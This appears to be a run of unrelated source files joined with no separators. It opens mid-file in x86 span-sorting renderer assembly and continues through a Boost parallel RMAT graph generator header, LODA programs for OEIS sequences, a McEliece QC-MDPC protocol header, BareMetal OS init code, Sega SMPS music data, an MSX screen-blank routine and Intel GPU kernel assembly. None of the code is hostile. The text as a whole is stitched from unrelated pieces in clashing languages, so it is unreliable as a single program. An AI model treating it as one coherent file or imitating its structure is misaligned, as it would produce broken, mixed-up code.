ah,045h jz Lsortloop_fpop2 ; if (surf->d_zistepu >= surf2->d_zistepu) ; goto newtop; fld ds:dword ptr[st_d_zistepu+edi] ; surf->d_zistepu | newzitop| fu fcomp ds:dword ptr[st_d_zistepu+esi] ; newzitop | fu fnstsw ax test ah,001h jz Lgotposition_fpop2 fstp st(0) ; clear the FPstack fstp st(0) mov eax,ds:dword ptr[st_key+edi] jmp Lsortloop Lgotposition_fpop3: fstp st(0) Lgotposition_fpop2: fstp st(0) fstp st(0) jmp LInsertAndExit ; emit a span (obscures current top) Lnewtop_fpop3: fstp st(0) Lnewtop_fpop2: fstp st(0) fstp st(0) mov eax,ds:dword ptr[st_key+edi] ; reload the sorting key Lnewtop: mov eax,ds:dword ptr[et_u+ebx] mov edx,ds:dword ptr[st_last_u+esi] shr eax,20 ; iu = integral pixel u mov ds:dword ptr[st_last_u+edi],eax ; surf->last_u = iu; cmp eax,edx jle LInsertAndExit ; iu <= surf->last_u, so nothing to emit sub eax,edx mov ds:dword ptr[espan_t_u+ebp],edx ; span->u = surf->last_u; mov ds:dword ptr[espan_t_count+ebp],eax ; span->count = iu - span->u; mov eax,ds:dword ptr[_current_iv] mov ds:dword ptr[espan_t_v+ebp],eax ; span->v = current_iv; mov eax,ds:dword ptr[st_spans+esi] mov ds:dword ptr[espan_t_pnext+ebp],eax ; span->pnext = surf->spans; mov ds:dword ptr[st_spans+esi],ebp ; surf->spans = span; add ebp,offset espan_t_size LInsertAndExit: ; insert before surf2 mov ds:dword ptr[st_next+edi],esi ; surf->next = surf2; mov eax,ds:dword ptr[st_prev+esi] mov ds:dword ptr[st_prev+edi],eax ; surf->prev = surf2->prev; mov ds:dword ptr[st_prev+esi],edi ; surf2->prev = surf; mov ds:dword ptr[st_next+eax],edi ; surf2->prev->next = surf; ; --------------------------------------------------------------- ; leading edge done ; --------------------------------------------------------------- ; --------------------------------------------------------------- ; see if there are any more edges ; --------------------------------------------------------------- Lgs_nextedge: mov ebx,ds:dword ptr[et_next+ebx] cmp ebx,offset _edge_tail jnz Lgs_edgeloop ; clean up at the right edge Lgs_lastspan: ; now that we've reached the right edge of the screen, we're done with any ; unfinished surfaces, so emit a span for whatever's on top mov esi,ds:dword ptr[12345678h] ; surfaces[1].st_next LPatch3: mov eax,ds:dword ptr[_edge_tail_u_shift20] xor ecx,ecx mov edx,ds:dword ptr[st_last_u+esi] sub eax,edx jle Lgs_resetspanstate mov ds:dword ptr[espan_t_u+ebp],edx mov ds:dword ptr[espan_t_count+ebp],eax mov eax,ds:dword ptr[_current_iv] mov ds:dword ptr[espan_t_v+ebp],eax mov eax,ds:dword ptr[st_spans+esi] mov ds:dword ptr[espan_t_pnext+ebp],eax mov ds:dword ptr[st_spans+esi],ebp add ebp,offset espan_t_size ; reset spanstate for all surfaces in the surface stack Lgs_resetspanstate: mov ds:dword ptr[st_spanstate+esi],ecx mov esi,ds:dword ptr[st_next+esi] cmp esi,012345678h ; &surfaces[1] LPatch4: jnz Lgs_resetspanstate ; store the final span_p mov ds:dword ptr[_span_p],ebp pop ebx ; restore register variables pop esi pop edi pop ebp ; restore the caller's stack frame ret ; --------------------------------------------------------------- ; 1/z sorting for bmodels in the same leaf ; --------------------------------------------------------------- align 4 Lxl_done: inc edx mov ds:dword ptr[st_spanstate+edi],edx jmp Lgs_nextedge align 4 Lzcheck_for_newtop: mov eax,ds:dword ptr[et_u+ebx] sub eax,0FFFFFh mov ds:dword ptr[Ltemp],eax fild ds:dword ptr[Ltemp] fmul ds:dword ptr[float_1_div_0100000h] ; fu = (float)(edge->u - 0xFFFFF) * ; (1.0 / 0x100000); fld st(0) ; fu | fu fmul ds:dword ptr[st_d_zistepu+edi] ; fu*surf->d_zistepu | fu fld ds:dword ptr[_fv] ; fv | fu*surf->d_zistepu | fu fmul ds:dword ptr[st_d_zistepv+edi] ; fv*surf->d_zistepv | fu*surf->d_zistepu | fu fxch st(1) ; fu*surf->d_zistepu | fv*surf->d_zistepv | fu fadd ds:dword ptr[st_d_ziorigin+edi] ; fu*surf->d_zistepu + surf->d_ziorigin | ; fv*surf->d_zistepv | fu fld ds:dword ptr[st_d_zistepu+esi] ; surf2->d_zistepu | ; fu*surf->d_zistepu + surf->d_ziorigin | ; fv*surf->d_zistepv | fu fmul st(0),st(3) ; fu*surf2->d_zistepu | ; fu*surf->d_zistepu + surf->d_ziorigin | ; fv*surf->d_zistepv | fu fxch st(1) ; fu*surf->d_zistepu + surf->d_ziorigin | ; fu*surf2->d_zistepu | ; fv*surf->d_zistepv | fu faddp st(2),st(0) ; fu*surf2->d_zistepu | newzi | fu fld ds:dword ptr[_fv] ; fv | fu*surf2->d_zistepu | newzi | fu fmul ds:dword ptr[st_d_zistepv+esi] ; fv*surf2->d_zistepv | ; fu*surf2->d_zistepu | newzi | fu fld st(2) ; newzi | fv*surf2->d_zistepv | ; fu*surf2->d_zistepu | newzi | fu fmul ds:dword ptr[float_point_999] ; newzibottom | fv*surf2->d_zistepv | ; fu*surf2->d_zistepu | newzi | fu fxch st(2) ; fu*surf2->d_zistepu | fv*surf2->d_zistepv | ; newzibottom | newzi | fu fadd ds:dword ptr[st_d_ziorigin+esi] ; fu*surf2->d_zistepu + surf2->d_ziorigin | ; fv*surf2->d_zistepv | newzibottom | newzi | ; fu faddp st(1),st(0) ; testzi | newzibottom | newzi | fu fxch st(1) ; newzibottom | testzi | newzi | fu ; if (newzibottom >= testzi) ; goto newtop; fcomp st(1) ; testzi | newzi | fu fxch st(1) ; newzi | testzi | fu fmul ds:dword ptr[float_1_point_001] ; newzitop | testzi | fu fxch st(1) ; testzi | newzitop | fu fnstsw ax test ah,001h jz Lnewtop_fpop3 ; if (newzitop >= testzi) ; { fcomp st(1) ; newzitop | fu fnstsw ax test ah,045h jz Lsortloop_fpop2 ; if (surf->d_zistepu >= surf2->d_zistepu) ; goto newtop; fld ds:dword ptr[st_d_zistepu+edi] ; surf->d_zistepu | newzitop | fu fcomp ds:dword ptr[st_d_zistepu+esi] ; newzitop | fu fnstsw ax test ah,001h jz Lnewtop_fpop2 Lsortloop_fpop2: fstp st(0) ; clear the FP stack fstp st(0) mov eax,ds:dword ptr[st_key+edi] jmp Lsortloop public _R_EdgeCodeEnd _R_EdgeCodeEnd: ;---------------------------------------------------------------------- ; Surface array address code patching routine ;---------------------------------------------------------------------- align 4 public _R_SurfacePatch _R_SurfacePatch: mov eax,ds:dword ptr[_surfaces] add eax,offset st_size mov ds:dword ptr[LPatch4-4],eax add eax,offset st_next mov ds:dword ptr[LPatch0-4],eax mov ds:dword ptr[LPatch2-4],eax mov ds:dword ptr[LPatch3-4],eax ret _TEXT ENDS endif ;id386 END
// Copyright 2004, 2005 The Trustees of Indiana University. // Use, modification and distribution is subject to the Boost Software // License, Version 1.0. (See accompanying file LICENSE_1_0.txt or copy at // http://www.boost.org/LICENSE_1_0.txt) // Authors: Nick Edmonds // Andrew Lumsdaine #ifndef BOOST_GRAPH_DISTRIBUTED_RMAT_GENERATOR_HPP #define BOOST_GRAPH_DISTRIBUTED_RMAT_GENERATOR_HPP #ifndef BOOST_GRAPH_USE_MPI #error "Parallel BGL files should not be included unless <boost/graph/use_mpi.hpp> has been included" #endif #include <boost/graph/parallel/algorithm.hpp> #include <boost/graph/parallel/process_group.hpp> #include <math.h> namespace boost { // Memory-scalable (amount of memory required will scale down // linearly as the number of processes increases) generator, which // requires an MPI process group. Run-time is slightly worse than // the unique rmat generator. Edge list generated is sorted and // unique. template<typename ProcessGroup, typename Distribution, typename RandomGenerator, typename Graph> class scalable_rmat_iterator { typedef typename graph_traits<Graph>::directed_category directed_category; typedef typename graph_traits<Graph>::vertices_size_type vertices_size_type; typedef typename graph_traits<Graph>::edges_size_type edges_size_type; public: typedef std::input_iterator_tag iterator_category; typedef std::pair<vertices_size_type, vertices_size_type> value_type; typedef const value_type& reference; typedef const value_type* pointer; typedef void difference_type; // No argument constructor, set to terminating condition scalable_rmat_iterator() : gen(), done(true) { } // Initialize for edge generation scalable_rmat_iterator(ProcessGroup pg, Distribution distrib, RandomGenerator& gen, vertices_size_type n, edges_size_type m, double a, double b, double c, double d, bool permute_vertices = true) : gen(), done(false) { assert(a + b + c + d == 1); int id = process_id(pg); this->gen.reset(new uniform_01<RandomGenerator>(gen)); std::vector<vertices_size_type> vertexPermutation; if (permute_vertices) generate_permutation_vector(gen, vertexPermutation, n); int SCALE = int(floor(log(double(n))/log(2.))); boost::uniform_01<RandomGenerator> prob(gen); std::map<value_type, bool> edge_map; edges_size_type generated = 0, local_edges = 0; do { edges_size_type tossed = 0; do { vertices_size_type u, v; boost::tie(u, v) = generate_edge(this->gen, n, SCALE, a, b, c, d); if (permute_vertices) { u = vertexPermutation[u]; v = vertexPermutation[v]; } // Lowest vertex number always comes first (this // means we don't have to worry about i->j and j->i // being in the edge list) if (u > v && is_same<directed_category, undirected_tag>::value) std::swap(u, v); if (distrib(u) == id || distrib(v) == id) { if (edge_map.find(std::make_pair(u, v)) == edge_map.end()) { edge_map[std::make_pair(u, v)] = true; local_edges++; } else { tossed++; // special case - if both u and v are on same // proc, ++ twice, since we divide by two (to // cover the two process case) if (distrib(u) == id && distrib(v) == id) tossed++; } } generated++; } while (generated < m); tossed = all_reduce(pg, tossed, boost::parallel::sum<vertices_size_type>()); generated -= (tossed / 2); } while (generated < m); // NGE - Asking for more than n^2 edges will result in an infinite loop here // Asking for a value too close to n^2 edges may as well values.reserve(local_edges); typename std::map<value_type, bool>::reverse_iterator em_end = edge_map.rend(); for (typename std::map<value_type, bool>::reverse_iterator em_i = edge_map.rbegin(); em_i != em_end ; ++em_i) { values.push_back(em_i->first); } current = values.back(); values.pop_back(); } reference operator*() const { return current; } pointer operator->() const { return &current; } scalable_rmat_iterator& operator++() { if (!values.empty()) { current = values.back(); values.pop_back(); } else done = true; return *this; } scalable_rmat_iterator operator++(int) { scalable_rmat_iterator temp(*this); ++(*this); return temp; } bool operator==(const scalable_rmat_iterator& other) const { return values.empty() && other.values.empty() && done && other.done; } bool operator!=(const scalable_rmat_iterator& other) const { return !(*this == other); } private: // Parameters shared_ptr<uniform_01<RandomGenerator> > gen; // Internal data structures std::vector<value_type> values; value_type current; bool done; }; } // end namespace boost #endif // BOOST_GRAPH_DISTRIBUTED_RMAT_GENERATOR_HPP
; A066761: Number of positive integers of the form (n^2+k^2)/(n-k) for k=1,2,3,4,....,n-1. ; Submitted by Jamie Morken(s3) ; 1,2,2,2,4,2,3,4,5,2,7,2,5,7,4,2,8,2,7,8,5,2,10,4,5,6,7,2,15,2,5,8,5,7,13,2,5,8,10,2,15,2,8,12,5,2,13,4,9,8,8,2,12,8,10,8,5,2,23,2,5,13,6,8,15,2,8,8,16,2,17,2,5,13,8,7,16,2,13,8,5,2,23,8,5,8,10,2,26,7,8,8,5,8 add $0,2 mov $2,$0 pow $2,2 mul $2,2 lpb $0 mov $3,$2 dif $3,$0 sub $0,1 cmp $3,$2 cmp $3,0 add $4,$3 lpe mov $0,$4
; A017069: a(n) = (8*n)^5. ; 0,32768,1048576,7962624,33554432,102400000,254803968,550731776,1073741824,1934917632,3276800000,5277319168,8153726976,12166529024,17623416832,24883200000,34359738368,46525874176,61917364224,81136812032,104857600000,133827821568,168874213376,210906087424,260919263232,320000000000,389328928768,470184984576,563949338624,672109330432,796262400000,938120019968,1099511627776,1282388557824,1488827973632,1721036800000,1981355655168,2272262782976,2596377985024,2956466552832,3355443200000,3796375994368,4282490290176,4817172660224,5403974828032,6046617600000,6748994797568,7515177189376,8349416423424,9256148959232,10240000000000,11305787424768,12458525720576,13703429914624,15045919506432,16491622400000,18046378835968,19716245323776,21507498573824,23426639429632,25480396800000,27675731591168,30019840638976,32520160641024,35184372088832,38020403200000,41036433850368,44240899506176,47642495156224,51250179244032,55073177600000,59120987373568,63403380965376,67930409959424,72712409055232,77760000000000,83084095520768,88695903256576,94606929690624,100828984082432,107374182400000,114254951251968,121484031819776,129074483789824,137039689285632,145393356800000,154149525127168,163322567294976,172927194497024,182978460024832,193491763200000,204482853306368,215967833522176,227963164852224,240485670060032,253552537600000,267181325549568,281389965541376,296196766695424,311620419551232 pow $0,5 mul $0,32768
#ifndef MCELIECE_QCMDPC_GF_P_PROTOCOL_HPP #define MCELIECE_QCMDPC_GF_P_PROTOCOL_HPP #include <fmpzxx.h> #include <vector> #include <optional> #include <iostream> #include "code.hpp" using flint::fmpzxx; using std::vector; using std::optional; using std::cerr; using std::endl; /** * @brief Protocol class holds an instance of MDPC GF(p) cryptosystem and allows for encryption and decryption using this instance. */ class Protocol { private: /** * @brief Parameters q and k of the MDPC GF(p) cryptosystem. * @see Code */ unsigned q, k; /** * @brief Instance of MDPC GF(p) used for encoding and decoding. * @see Code */ Code c; public: /** * @brief Generate a new MDPC GF(p) instance with the given q and k settings. * * To achieve the best possible DFR value, q should be a power of 2 and k should be a prime. It is not required, however. * * @see Code * * @param q Parameter q, ideally a power of 2. * @param k Parameter k, ideally a prime. */ Protocol(unsigned q, unsigned k): q(q), k(k), c(Code{q, k}) {} /** * @brief Encrypt a plaintext. * * Encryption is achieved as follows: * -# Plaintext is encoded using the generated Code instance. * -# An error vector is generated. * -# Encoded plaintext is summed with the error vector. * Encryption will fail if and only if the plaintext length is not k. * Ciphertext is of length 2*k. * * @see Code::encode(const vector<unsigned>& plaintext) * @param plaintext A vector of length k with values from Z_q. * @param verbose Whether to print error messages. * @return On success, return ciphertext. */ auto encrypt(const vector<unsigned>& plaintext, bool verbose=false) -> optional<vector<unsigned>>; /** * @brief Decrypt a ciphertext. * * Decryption is achieved as follows: * -# Ciphertext is decoded using the generated Code instance to obtain the error vector used in encryption. * -# The error vector is subtracted from the ciphertext. * -# Plaintext is read as the first k positions from ciphertext. * Decryption will fail if: * - Ciphertext is not of length 2*k. * - Decoding fails. * * @see Code::decode(const vector<unsigned>& ciphertext, unsigned num_iterations) * @param ciphertext A vector of length 2*k with values from Z_q. * @param num_iterations Number of iterations used in the decoding step. * @param verbose Whether to print error messages. * @return On success, return plaintext. */ auto decrypt(const vector<unsigned>& ciphertext, unsigned num_iterations=25, bool verbose=false) -> optional<vector<unsigned>>; }; #endif
; A078701: Least odd prime factor of n, or 1 if no such factor exists. ; 1,1,3,1,5,3,7,1,3,5,11,3,13,7,3,1,17,3,19,5,3,11,23,3,5,13,3,7,29,3,31,1,3,17,5,3,37,19,3,5,41,3,43,11,3,23,47,3,7,5,3,13,53,3,5,7,3,29,59,3,61,31,3,1,5,3,67,17,3,5,71,3,73,37,3,19,7,3,79,5,3,41,83,3,5,43,3,11,89,3,7,23,3,47,5,3,97,7,3,5 lpb $0 mul $0,2 sub $0,2 dif $0,4 lpe seq $0,20639 ; Lpf(n): least prime dividing n (when n > 1); a(1) = 1. Or, smallest prime factor of n, or smallest prime divisor of n.
// This file auto generated by plugin for ida pro. Generated code only for x64. Please, dont change manually #pragma once #include <common/common.h> #include <_LARGE_INTEGER.hpp> START_ATF_NAMESPACE struct tagCAH { unsigned int cElems; _LARGE_INTEGER *pElems; }; END_ATF_NAMESPACE
; A028737: Nonsquares mod 24. ; 2,3,5,6,7,8,10,11,13,14,15,17,18,19,20,21,22,23 mov $2,$0 lpb $2 add $0,1 mov $2,7 lpe seq $0,37 ; Numbers that are not squares (or, the nonsquares).
; ============================================================================= ; BareMetal -- a 64-bit OS written in Assembly for x86-64 systems ; Copyright (C) 2008-2020 Return Infinity -- see LICENSE.TXT ; ; 64-bit initialization ; ============================================================================= ; ----------------------------------------------------------------------------- init_64: ; Set the temporary stack ; Clear system variables area mov edi, os_SystemVariables mov ecx, 122880 ; Clear 960 KiB ; 122880 = (1024 x 960) / 8 ; Why is 960K divided by 8? ; Each system variable address is 8 byte. xor eax, eax rep stosq ; same as memset function ; Create exception gate stubs (Pure64 has already set the correct gate markers) xor edi, edi ; 64-bit IDT at linear address 0x0000000000000000 mov ecx, 32 ; ??? mov rax, exception_gate ; A generic exception handler make_exception_gate_stubs: call create_gate inc edi dec ecx jnz make_exception_gate_stubs ; Set up the exception gates for all of the CPU exceptions xor edi, edi mov ecx, 21 mov rax, exception_gate_00 make_exception_gates: call create_gate inc edi add rax, 24 ; Each exception gate is 24 bytes dec rcx jnz make_exception_gates ; Create interrupt gate stubs (Pure64 has already set the correct gate markers) mov ecx, 256-32 mov rax, interrupt_gate make_interrupt_gate_stubs: call create_gate inc edi dec ecx jnz make_interrupt_gate_stubs ; Set up the IRQ handlers (Network IRQ handler is configured in init_net) mov edi, 0x21 mov rax, keyboard call create_gate mov edi, 0x22 mov rax, cascade call create_gate mov edi, 0x28 mov rax, rtc call create_gate mov edi, 0x80 mov rax, ap_wakeup call create_gate mov edi, 0x81 mov rax, ap_reset call create_gate ; Grab data from Pure64's infomap xor eax, eax xor ebx, ebx xor ecx, ecx mov esi, 0x00005008 lodsd ; Load the BSP ID mov ebx, eax ; Save it to EBX mov esi, 0x00005012 lodsw ; Load the number of activated cores mov cx, ax ; Save it to CX mov esi, 0x00005060 lodsq mov [os_LocalAPICAddress], rax lodsq mov [os_IOAPICAddress], rax mov esi, 0x00005010 lodsw mov [os_CoreSpeed], ax mov esi, 0x00005012 lodsw mov [os_NumCores], ax mov esi, 0x00005020 lodsd sub eax, 2 ; Save 2 MiB for the CPU stacks push rax ; Save the free RAM size mov [os_MemAmount], eax ; In MiB's mov esi, 0x00005040 lodsq mov [os_HPETAddress], rax pop rax ; Restore free RAM size ; Configure the Stack base ; Take the last free page of RAM and remap it shl rax, 2 ; Quick multiply by 2 add rax, sys_pdh mov rsi, rax mov rax, [rsi] mov [rsi+8], rax xor eax, eax mov [rsi], rax mov rbx, app_start mov eax, [os_MemAmount] ; In MiB's add eax, 2 shl rax, 20 add rax, rbx mov [os_StackBase], rax ; Initialize all AP's to run our reset code. Skip the BSP xor eax, eax mov esi, 0x00005100 ; Location in memory of the Pure64 CPU data next_ap: test cx, cx jz no_more_aps lodsb ; Load the CPU APIC ID cmp al, bl je skip_ap call b_smp_reset ; Reset the CPU skip_ap: dec cx jmp next_ap no_more_aps: ; Enable specific interrupts mov al, 0x01 ; Keyboard IRQ call os_pic_mask_clear mov al, 0x02 ; Cascade IRQ call os_pic_mask_clear mov al, 0x08 ; RTC IRQ call os_pic_mask_clear ret ; ----------------------------------------------------------------------------- ; ----------------------------------------------------------------------------- ; create_gate ; rax = address of handler ; rdi = gate # to configure create_gate: push rdi push rax shl rdi, 4 ; Shift left by 4 to quickly multiply rdi by 16 stosw ; Store the low word (15..0) shr rax, 16 add rdi, 4 ; Skip the gate marker (selector, ist, type) stosw ; Store the high word (31..16) shr rax, 16 stosd ; Store the high dword (63..32) xor eax, eax stosd ; Reserved bits pop rax pop rdi ret ; ----------------------------------------------------------------------------- ; ============================================================================= ; EOF
Invincible_Header: smpsHeaderStartSong 2 smpsHeaderVoice Invincible_Voices smpsHeaderChan $06, $03 smpsHeaderTempo $01, $E8 smpsHeaderDAC Invincible_DAC smpsHeaderFM Invincible_FM1, $F4, $11 smpsHeaderFM Invincible_FM2, $F4, $09 smpsHeaderFM Invincible_FM3, $E8, $0F smpsHeaderFM Invincible_FM4, $E8, $0F smpsHeaderFM Invincible_FM5, $F4, $11 smpsHeaderPSG Invincible_PSG1, $F4, $02, $00, fTone_08 smpsHeaderPSG Invincible_PSG2, $DC, $05, $00, fTone_05 smpsHeaderPSG Invincible_PSG3, $00, $03, $00, fTone_04 ; FM5 Data Invincible_FM5: smpsAlterNote $03 ; FM1 Data Invincible_FM1: dc.b nRst, $30 smpsSetvoice $00 Invincible_Loop07: dc.b nRst, $0C, nCs6, $15, nRst, $03, nCs6, $06, nRst, nD6, $0F, nRst dc.b $03, nB5, $18, nRst, $06, nCs6, $06, nRst, nCs6, nRst, nCs6, nRst dc.b nA5, nRst, nG5, $0F, nRst, $03, nB5, $18, nRst, $06 smpsLoop $00, $02, Invincible_Loop07 smpsAlterVol $FD dc.b nRst, $30, nRst, nA5, $04, nB5, nCs6, nD6, nE6, nFs6, nB5, nCs6 dc.b nEb6, nE6, nFs6, nAb6, nCs6, nEb6, nF6, nFs6, nAb6, nBb6, nF6, nFs6 dc.b nAb6, nBb6, nC7, nCs7 smpsAlterVol $03 smpsJump Invincible_Loop07 ; FM2 Data Invincible_FM2: smpsNop $01 smpsSetvoice $01 dc.b nRst, $30 Invincible_Loop05: dc.b nA3, $06, nRst, nA3, nRst, nE3, nRst, nE3, nRst, nG3, $12, nFs3 dc.b $0C, nG3, $06, nFs3, $0C, nA3, $06, nRst, nA3, nRst, nE3, nRst dc.b nE3, nRst, nD4, $12, nCs4, $0C, nD4, $06, nCs4, $0C smpsLoop $00, $02, Invincible_Loop05 Invincible_Loop06: dc.b nB2, $06, nG2, $12, nA2, $06, nRst, nB2, nRst smpsLoop $00, $02, Invincible_Loop06 dc.b nA2, $0C, nB2, nCs3, nEb3, nB2, $06, nCs3, nEb3, nF3, nCs3, nEb3 dc.b nF3, nFs3 smpsNop $01 smpsJump Invincible_Loop05 ; FM3 Data Invincible_FM3: smpsSetvoice $00 dc.b nRst, $30 Invincible_Loop03: dc.b nE6, $06, nRst, nE6, nRst, nCs6, nRst, nCs6, nRst, nD6, $12, nFs6 dc.b nA6, $0C, nE6, $06, nRst, nE6, nRst, nCs6, nRst, nCs6, nRst, nG6 dc.b $12, nG6, $1E smpsLoop $00, $02, Invincible_Loop03 Invincible_Loop04: dc.b nRst, $06, nG5, $12, nA5, $06, nRst, $12 smpsLoop $00, $04, Invincible_Loop04 smpsJump Invincible_Loop03 ; FM4 Data Invincible_FM4: smpsSetvoice $00 dc.b nRst, $30 Invincible_Loop01: dc.b nCs6, $06, nRst, nCs6, nRst, nA5, nRst, nA5, nRst, nB5, $12, nD6 dc.b nFs6, $0C, nCs6, $06, nRst, nCs6, nRst, nA5, nRst, nA5, nRst, nD6 dc.b $12, nD6, $1E smpsLoop $00, $02, Invincible_Loop01 Invincible_Loop02: dc.b nRst, $06, nB5, $12, nCs6, $06, nRst, $12 smpsLoop $00, $04, Invincible_Loop02 smpsJump Invincible_Loop01 ; PSG1 Data Invincible_PSG1: ; PSG2 Data Invincible_PSG2: smpsStop ; PSG3 Data Invincible_PSG3: smpsPSGform $E7 dc.b nRst, $30 Invincible_Jump00: smpsNoteFill $03 dc.b nMaxPSG, $0C smpsNoteFill $0C dc.b $0C smpsNoteFill $03 dc.b $0C smpsNoteFill $0C dc.b $0C smpsJump Invincible_Jump00 ; DAC Data Invincible_DAC: dc.b dSnare, $06, dSnare, dKick, dKick, dSnare, dSnare, dSnare, dSnare Invincible_Loop00: dc.b dKick, $0C, dSnare, dKick, dSnare, dKick, $0C, dSnare, dKick, dSnare, dKick, $0C dc.b dSnare, dKick, dSnare, dKick, $0C, dSnare, dKick, $04, nRst, dSnare, dSnare, $0C smpsLoop $00, $02, Invincible_Loop00 dc.b dKick, $06, dSnare, $12, dKick, $0C, dSnare, dSnare, $06, dKick, $12, dKick dc.b $0C, dSnare, dSnare, $06, dKick, $0C, dSnare, $06, dKick, $0C, dSnare, dSnare dc.b $04, dSnare, dSnare, dSnare, dSnare, dSnare, dSnare, dSnare, dSnare, dSnare, dSnare, dSnare smpsJump Invincible_Loop00 Invincible_Voices: ; Voice $00 ; $3A ; $01, $07, $01, $01, $8E, $8E, $8D, $53, $0E, $0E, $0E, $03 ; $00, $00, $00, $00, $1F, $FF, $1F, $0F, $18, $28, $27, $80 smpsVcAlgorithm $02 smpsVcFeedback $07 smpsVcUnusedBits $00 smpsVcDetune $00, $00, $00, $00 smpsVcCoarseFreq $01, $01, $07, $01 smpsVcRateScale $01, $02, $02, $02 smpsVcAttackRate $13, $0D, $0E, $0E smpsVcAmpMod $00, $00, $00, $00 smpsVcDecayRate1 $03, $0E, $0E, $0E smpsVcDecayRate2 $00, $00, $00, $00 smpsVcDecayLevel $00, $01, $0F, $01 smpsVcReleaseRate $0F, $0F, $0F, $0F smpsVcTotalLevel $00, $27, $28, $18 ; Voice $01 ; $20 ; $7A, $31, $00, $00, $9F, $D8, $DC, $DF, $10, $0A, $04, $04 ; $0F, $08, $08, $08, $5F, $5F, $BF, $BF, $14, $2B, $17, $80 smpsVcAlgorithm $00 smpsVcFeedback $04 smpsVcUnusedBits $00 smpsVcDetune $00, $00, $03, $07 smpsVcCoarseFreq $00, $00, $01, $0A smpsVcRateScale $03, $03, $03, $02 smpsVcAttackRate $1F, $1C, $18, $1F smpsVcAmpMod $00, $00, $00, $00 smpsVcDecayRate1 $04, $04, $0A, $10 smpsVcDecayRate2 $08, $08, $08, $0F smpsVcDecayLevel $0B, $0B, $05, $05 smpsVcReleaseRate $0F, $0F, $0F, $0F smpsVcTotalLevel $00, $17, $2B, $14
; ; MSX specific routines ; by Stefano Bodrato, 30/11/2007 ; ; void msx_blank(); ; ; Disable screen / Enable screen ; ; $Id: svi_blank_noblank.asm,v 1.3 2015/01/19 01:32:57 pauloscustodio Exp $ ; PUBLIC msx_blank PUBLIC msx_noblank INCLUDE "svi.def" msx_noblank: ld a,($FE3C+1) ; VDPReg0+1 or @01000000 jr do_blank msx_blank: ld a,($FE3C+1) ; VDPReg0 and $bf do_blank: ld ($FE3C+1),a ; update VDPReg0 ; Register #1, bit #6 is used to blank screen. di out (VDP_CMD),a ld a,1 out (VDP_CMD),a ei ret
; A082023: Number of partitions of n into 2 parts which are not relatively prime. ; 0,0,0,0,1,0,2,0,2,1,3,0,4,0,4,3,4,0,6,0,6,4,6,0,8,2,7,4,8,0,11,0,8,6,9,5,12,0,10,7,12,0,15,0,12,10,12,0,16,3,15,9,14,0,18,7,16,10,15,0,22,0,16,13,16,8,23,0,18,12,23,0,24,0,19,17,20,8,27,0,24,13,21,0,30,10,22,15,24,0,33,9,24,16,24,11,32,0,28,19 trn $0,1 seq $0,51953 ; Cototient(n) := n - phi(n). div $0,2
/* * Copyright (c) 2017, Intel Corporation * * Permission is hereby granted, free of charge, to any person obtaining a * copy of this software and associated documentation files (the "Software"), * to deal in the Software without restriction, including without limitation * the rights to use, copy, modify, merge, publish, distribute, sublicense, * and/or sell copies of the Software, and to permit persons to whom the * Software is furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included * in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR * OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, * ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR * OTHER DEALINGS IN THE SOFTWARE. */ L0: (W&~f0.1)jmpi L416 L16: mov (8|M0) r17.0<1>:ud r25.0<8;8,1>:ud mov (16|M0) r114.0<1>:uw 0xFFFF:uw mov (16|M0) r115.0<1>:uw 0xFFFF:uw mov (16|M0) r122.0<1>:uw 0xFFFF:uw mov (16|M0) r123.0<1>:uw 0xFFFF:uw add (1|M0) a0.0<1>:ud r23.5<0;1,0>:ud 0x42EC100:ud mov (1|M0) r16.2<1>:ud 0xE000:ud mov (1|M0) r17.2<1>:f r10.2<0;1,0>:f mov (1|M0) r17.3<1>:f r10.4<0;1,0>:f send (1|M0) r112:uw r16:ub 0x2 a0.0 mov (1|M0) r17.2<1>:f r10.2<0;1,0>:f mov (1|M0) r17.3<1>:f r10.7<0;1,0>:f send (1|M0) r120:uw r16:ub 0x2 a0.0 add (1|M0) a0.0<1>:ud r23.5<0;1,0>:ud 0x44EC201:ud mov (1|M0) r16.2<1>:ud 0xC000:ud mov (1|M0) r17.2<1>:f r10.2<0;1,0>:f mov (1|M0) r17.3<1>:f r10.4<0;1,0>:f send (1|M0) r116:uw r16:ub 0x2 a0.0 mov (1|M0) r17.2<1>:f r10.2<0;1,0>:f mov (1|M0) r17.3<1>:f r10.7<0;1,0>:f send (1|M0) r124:uw r16:ub 0x2 a0.0 mov (1|M0) a0.8<1>:uw 0xE00:uw mov (1|M0) a0.9<1>:uw 0xE80:uw mov (1|M0) a0.10<1>:uw 0xEC0:uw add (4|M0) a0.12<1>:uw a0.8<4;4,1>:uw 0x100:uw L416: nop
; A153173: a(n) = L(5*n)/L(n) where L(n) = Lucas number A000204(n). ; Submitted by Jon Maiga ; 11,41,341,2161,15251,103361,711491,4868641,33391061,228811001,1568437211,10749853441,73681573691,505018447961,3461454668501,23725145626561,162614613425891,1114577020834241,7639424866266611,52361396168994001,358890350604952661,2459871052074928841,16860207029603525291,115561578114088565761,792070839876516006251,5428934300740085946761,37210469266040898643541,255044350559617203021841,1748099984656329714095411,11981655542021469222424001,82123488809528569370952611,562882766124587894363226241 add $0,1 mov $2,$0 seq $0,5248 ; Bisection of Lucas numbers: a(n) = L(2*n) = A000032(2*n). mod $2,2 add $2,$0 bin $2,2 mov $0,$2 mul $0,2 sub $0,1
